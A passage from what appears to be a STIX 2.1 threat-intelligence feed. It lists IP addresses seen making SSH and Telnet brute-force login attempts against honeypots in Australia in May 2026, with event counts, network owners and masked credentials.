      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--ab87ea2d-5dc3-4490-b687-2f6cc9e7b2aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.240.226.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1729. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, d****y, u****u, a***n, u**r. Passwords observed (masked): 1****6, 1**4, *, ***, p******d.",
      "id": "indicator--ca8e1e14-e2ad-4cdf-bf0b-af880a7dafcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA.",
      "id": "indicator--89168a53-b6c3-4926-8f5d-075a1bff56b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.115.208.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 210731. Organisation(s): Forening for DotSrc. Usernames observed (masked): s****m. Passwords observed (masked): n****r.",
      "id": "indicator--82449522-52be-42df-9c71-816fd1339f5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.129.61.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--6d76289d-e1d5-45ef-b009-278974b61ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.137.16.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--1e7f464f-101b-4731-a156-0153a5ebf1e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.64.172.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272955. Organisation(s): GRUPO TECNOLIFE, C.A..",
      "id": "indicator--40639d90-7c46-40c6-991c-5684c2b1b94a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.172.56.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--2e92cda2-aa38-4d03-99ff-2f140119ac06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.98.187.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:15:11.000Z",
      "valid_until": "2026-06-26T21:15:08.000Z"
    },
    {
      "created": "2026-05-25T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n, r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--7eeefd61-cb2d-4f8e-8ecf-9b8a983a8917",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:15:11.000Z",
      "valid_until": "2026-06-26T22:15:08.000Z"
    },
    {
      "created": "2026-05-25T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--8594d776-58ad-4200-9afa-369d2e5763e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:15:11.000Z",
      "valid_until": "2026-06-26T22:15:08.000Z"
    },
    {
      "created": "2026-05-25T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:15:11.000Z",
      "valid_until": "2026-06-26T22:15:08.000Z"
    },
    {
      "created": "2026-05-25T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--96d1ba76-6dfe-4018-9802-fa91574470a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:15:11.000Z",
      "valid_until": "2026-06-26T22:15:08.000Z"
    },
    {
      "created": "2026-05-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DK. ASN(s): 12552. Organisation(s): GlobalConnect AB.",
      "id": "indicator--ef07e150-367f-4649-a2d6-31fa59e8893e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.247.233.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:15:10.000Z",
      "valid_until": "2026-06-26T23:15:08.000Z"
    },
    {
      "created": "2026-05-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 42708. Organisation(s): Glesys AB.",
      "id": "indicator--56d99853-b61b-4866-9587-de85949c3637",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.73.236.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:15:10.000Z",
      "valid_until": "2026-06-26T23:15:08.000Z"
    },
    {
      "created": "2026-05-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 42708. Organisation(s): Glesys AB.",
      "id": "indicator--03178e89-b27b-4364-a098-16a09962bf7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.73.252.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:15:10.000Z",
      "valid_until": "2026-06-26T23:15:08.000Z"
    },
    {
      "created": "2026-05-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): s****m. Passwords observed (masked): S**************Z.",
      "id": "indicator--e32a66d7-68f2-4f3d-b09c-f5b70783b912",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:15:10.000Z",
      "valid_until": "2026-06-26T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2723f3e6-5bc9-499a-920a-eab8a9ee8ccb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.32.135.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--5abc6d60-cbdf-4f0b-b6d9-7a934397ee23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--13726fe2-78b5-4023-aaf4-9ba2f750891a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.178.170.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 60095. Organisation(s): JSC Ufanet.",
      "id": "indicator--198cf6a3-5e72-4c5a-928f-e19cb0f397ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.191.157.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7623. Organisation(s): Gyeongbuk Cable TV.",
      "id": "indicator--417d56dd-fc0f-48a6-9720-42ca32c186d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.142.82.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--e7df64d0-d8fc-41b1-b917-c83fd5bb71ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.217.99.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:15:11.000Z",
      "valid_until": "2026-06-27T00:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d1aa673c-cf26-483c-9b3e-a0b8b1838b72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.55.63.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--84b66f84-e46a-4fcd-8ef1-2e2fea12bfbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.250.134.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b40c0293-df19-48d3-82d3-33c6364e3aa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c8980ca4-d3e1-49d9-ba12-41accc9d05da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4a08a3d0-3e33-40c4-b2c1-cf1cdf030d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.176.166.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b4917758-d383-44b8-a4a0-4497124cd26f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.89.192.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1d4d9506-5b80-4513-84fe-9bb65a55280d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 2027. Organisation(s): MilkyWan Association. Usernames observed (masked): s*****s. Passwords observed (masked): I***********************5.",
      "id": "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.67.167.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:15:11.000Z",
      "valid_until": "2026-06-27T01:15:08.000Z"
    },
    {
      "created": "2026-05-26T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138590. Organisation(s): Prime Networks.",
      "id": "indicator--d8442b9f-ae00-44a9-b774-ea4c82ddcfe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.194.89.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:15:11.000Z",
      "valid_until": "2026-06-27T02:15:08.000Z"
    },
    {
      "created": "2026-05-26T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc.",
      "id": "indicator--ce235383-3c3e-4190-804a-aa836330b1b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.24.54.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T02:15:11.000Z",
      "valid_until": "2026-06-27T02:15:08.000Z"
    },
    {
      "created": "2026-05-26T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0569e2e0-f961-4c7a-98d1-1af8a2e1d57c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.87.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:15:10.000Z",
      "valid_until": "2026-06-27T03:15:08.000Z"
    },
    {
      "created": "2026-05-26T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 262197. Organisation(s): MILLICOM CABLE COSTA RICA S.A..",
      "id": "indicator--0101ef7a-a587-4ffd-8b63-049cea7b4a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.32.217.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:15:10.000Z",
      "valid_until": "2026-06-27T03:15:08.000Z"
    },
    {
      "created": "2026-05-26T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267466. Organisation(s): MVF NETWORK.",
      "id": "indicator--8fa1d85a-6659-41c9-8780-8b65832bdb79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.141.123.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:15:10.000Z",
      "valid_until": "2026-06-27T03:15:08.000Z"
    },
    {
      "created": "2026-05-26T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--103c3f40-73cd-4efe-bc28-092c0db41700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.39.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:15:10.000Z",
      "valid_until": "2026-06-27T03:15:08.000Z"
    },
    {
      "created": "2026-05-26T03:15:10.000Z",
